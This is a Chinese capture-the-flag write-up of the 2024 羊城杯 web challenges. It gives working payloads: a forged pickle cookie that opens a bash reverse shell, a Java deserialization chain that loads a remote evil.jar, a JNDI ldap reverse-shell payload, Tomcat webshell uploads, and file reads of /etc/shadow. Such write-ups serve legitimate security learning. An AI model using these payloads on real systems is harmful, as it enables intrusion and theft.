2024羊城杯 web 这次比赛 在大家的努力下 我们A1natas最后排名第三
我也是成功的在晚上12点左右 侥幸ak了web
这次比赛被我非预期了好几题 笑死
Lyrics For You 存在任意文件读取
可以读取config.key config.py等等
key的值是
1 secret_code = "EnjoyThePlayTime123456"
存在pickle反序列化
直接伪造cookies就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import osimport randomfrom flask import Flask, make_response, request, render_templateimport pickleimport base64import hashlibimport hmacimport picklesecret_code = "EnjoyThePlayTime123456" from flask import make_response, requestunicode = str basestring = str class UserData : def __init__ (self, username ): self.username = username def cookie_encode (data, key ): msg = base64.b64encode(pickle.dumps(data, -1 )) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!' ) + sig + tob('?' ) + msg def cookie_decode (data, key ): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?' ), 1 ) if _lscmp(sig[1 :], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())): return pickle.loads(base64.b64decode(msg)) return None def waf (data ): blacklist = [b'R' , b'secret' , b'eval' , b'file' , b'compile' , b'open' , b'os.popen' ] valid = False for word in blacklist: if word in data: valid = True break return valid def tob (s, enc='utf8' ): return s.encode(enc) if isinstance (s, unicode) else bytes (s) def cookie_is_encoded (data ): return bool (data.startswith(tob('!' )) and tob('?' ) in data) def _lscmp (a, b ): return not sum (0 if x == y else 1 for x, y in zip (a, b)) and len (a) == len (b) def set_cookie (name, value, secret=None , **options ): if secret: value = touni(cookie_encode((name, value), secret)) print (value) def touni (s, enc='utf8' , err='strict' ): return s.decode(enc, err) if isinstance (s, bytes ) else unicode(s) a = set_cookie("user" , b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'\no." , secret=secret_code)
成功反弹shell
得到flag
ez_java 源码里面有账号密码 直接登录
存在反序列化接口
存在黑名单
1 private static final String[] blacklist = new String []{"java.lang.Runtime" , "java.lang.ProcessBuilder" , "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "java.security.SignedObject" , "com.sun.jndi.ldap.LdapAttribute" , "org.apache.commons.beanutils" , "org.apache.commons.collections" , "javax.management.BadAttributeValueExpException" , "com.sun.org.apache.xpath.internal.objects.XString" };
注意到
getgift的地方存在URLClassLoader可以加载任意类
可以利用javax.swing.UIDefaults$TextAndMnemonicHashMap绕一下
参考新Source触发ToString - 首页|Aiwin
链子如下
1 HashTable#readObject()->pojoNode tiostring -> getgift()
也看到师傅用了其他的链子EventListenerList#readObject -> JacksonToString2Getter
这里的urlclassload 是懒加载 我们需要两次才能触发
第一次使用反序列化链子 调用gitgift 利用jar协议 获取服务器上的恶意jar包 把他加载到java中去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package com.example.ycbjava;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.*;import sun.reflect.ReflectionFactory;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;import com.example.ycbjava.utils.MyObjectInputStream;import com.example.ycbjava.bean.User;public class main { public static void main (String[] args) throws Throwable { CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); User a = new User ("jar:http://url:1234/evil.jar!/" ,"test" ); POJONode pojoNode = new POJONode (a); Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); Map map1= (HashMap) createWithoutConstructor(innerClass); Map map2= (HashMap) createWithoutConstructor(innerClass); map1.put(pojoNode,"222" ); map2.put(pojoNode,"111" ); Field field=HashMap.class.getDeclaredField("loadFactor" ); field.setAccessible(true ); field.set(map1,1 ); Field field1=HashMap.class.getDeclaredField("loadFactor" ); field1.setAccessible(true ); field1.set(map2,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(map1,1 ); hashtable.put(map2,1 ); map1.put(pojoNode, null ); map2.put(pojoNode, null ); System.out.println(serial(hashtable)); } public static String serial (Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void setFieldValue (Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Field dfield = object.getClass().getDeclaredField(field); dfield.setAccessible(true ); dfield.set(object, value); } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(object); return byteArrayOutputStream.toByteArray(); } public static <T> Object createWithoutConstructor (Class classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithoutConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T)sc.newInstance(consArgs); } }
成功加载
第二次构造一个简单的反序列化流 反序列化这个指定恶意类
这样java会加载我们传上去的jar里面的class类 触发rce
再加载一次
成功得到flag
需要注意的是 这里序列化和反序列化的时候 原来jar里面的类不能修改 package 也需要对应 不然会出现suid对应 反序列化失败的情况
tomtom2 存在xml文件读取 conf/tomcat-users.xml可以读取到后台的密码
成功读取到密码 上去 存在文件上传
可以上传到任意文件 可以覆盖web.xml文件 吧xml解析成jsp 就能实现上传绕过
先得到路径 报错得到路径
然后上传到WEB-INF下覆盖web.xml
上传一个简单的一句话jsp木马 后缀改成xml就行
得到flag
tomtom2_revenge 和之前相比 限制了web.xml文件上传 不能通过覆盖web.xml执行任意命令了
非预期1 gpt看到看到有一个叫做context.xml的 可以规定网站上下文
如果污染这个值 把他污染到/ 就可以任意文件读取
读取成功
能读取etc/shadow 说明应该root权限 但是不存在相关的flag readflag文件 猜测flag名字是
得到flag
预期解 赛后和出题人交流了一下 出题人说这个题是 通过xml 触发jndi写马
这里存在h2 的依赖 直接打jndi
1 2 3 <Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="ldap://vps:1389/TomcatJDBC/H2/Java/ReverseShell/vps/port" autoCommit="true"></Manager>
非预期2 和其他师傅交流发现可以覆盖META-INF/context.xml
利用org.apache.catalina.valves.AccessLogValve 会记录日志 写入webshell
1 2 3 4 5 6 7 8 <Context > <Value className ="org.apache.catalina.valves.AccessLogValve" directory ="/opt/tomcat/webapps/myapp/" prefix ="shell" suffix =".jsp" pattern ="%{Cookie}i" resolveHosts ="false" /> </Context >
然后使用在cookies里面构造一个webshell 完成注入
1 Cookie: ${Runtime.getRuntime().exec(param.cmd)}
生成的webshell是 shell.2024-yy-dd.jsp
访问就能rce
网络照相馆 非预期
非预期到flag名字了
存在任意文件读取 file://etc/passwd 读取不了 使用file://localhost/etc/passwd
尝试任意文件读取
得到源码
根据前面的flag 猜测出题人没做权限校验 flag的名字是若干个flag 写个脚本爆下
1 2 3 4 5 6 7 for f in range (1 , 10 ): for l in range (1 , 10 ): for a in range (1 , 10 ): for g in range (1 , 10 ): with open ('data.txt' , 'a' ) as file: file.write(f'f' *f+'l' *l+'a' *a+'g' *g+'\n' )
成功读取到flag(非预期
预期解 打CVE-2024-2961
读取maps和libc
1 2 url=file://127.0.0.1/proc/self/maps url=file://127.0.0.1/lib/x86_64-linux-gnu/libc-2.31.so
写马打就行